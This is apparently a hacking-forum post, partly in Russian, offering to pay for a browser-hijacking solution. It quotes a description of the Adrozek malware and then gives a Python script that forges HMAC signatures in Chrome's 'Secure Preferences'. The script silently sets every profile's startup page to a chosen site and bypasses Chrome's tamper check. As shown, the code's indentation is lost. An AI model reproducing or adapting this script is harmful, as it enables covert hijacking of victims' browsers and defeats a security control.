Подскажите готовые решения или готов заплатить за реализацию
In the past, browser modifiers calculated the hashes like browsers do and update the Secure Preferences accordingly. Adrozek goes one step further and patches the function that launches the integrity check. The two-byte patch nullifies the integrity check, which makes the browser potentially more vulnerable to hijacking or tampering.
STARTUP_URL = 'https://xss.pro'
import subprocess, getpass, os, json, hmac, hashlib
system_user = getpass.getuser()
chrome_data_dir = f'C:\\Users\\{system_user}\\AppData\\Local\\Google\\Chrome\\User Data'
chrome_profiles = [p for p in os.listdir(chrome_data_dir) if p.startswith('Profile ') or p == 'Default']
sid_cmd = f"wmic useraccount where name='{system_user}' get sid"
sid_cmd_output = subprocess.check_output(sid_cmd.split())
sid = sid_cmd_output.strip().split()[-1][:-5].decode()
seed = b'\xe7H\xf36\xd8^\xa5\xf9\xdc\xdf%\xd8\xf3G\xa6[L\xdffv\x00\xf0-\xf6rJ*\xf1\x8a!-&\xb7\x88\xa2P\x86\x91\x0c\xf3\xa9\x03\x13ihq\xf3\xdc\x05\x8270\xc9\x1d\xf8\xba\\O\xd9\xc8\x84\xb5\x05\xa8'
for profile in chrome_profiles:
secure_preferences_path = f'{chrome_data_dir}\\{profile}\\Secure Preferences'
with open(secure_preferences_path, 'r', encoding='utf8') as secure_preferences_file:
data = json.load(secure_preferences_file)
corrected_data = {'restore_on_startup' : 4, 'startup_urls' : [STARTUP_URL]}
if 'session' not in data:
data['session'] = {}
for k, v in corrected_data.items():
data['session'][k] = v
message = sid + f'session.{k}' + json.dumps(v, separators=(',', ':'), ensure_ascii=False)
hmac_hash = hmac.new(seed, message.encode("utf-8"), hashlib.sha256).hexdigest().upper()
data['protection']['macs']['session'][k] = hmac_hash
json.dump(data, open(secure_preferences_path, 'w'))
Oh, and sorry I don't speak Russian. I know, I know, it's a Russian forum and I need to learn. But the English forums are all complete trash in comparison to the wondrous runet. So please forgive me. Besides, nationality is a bourgeois fiction!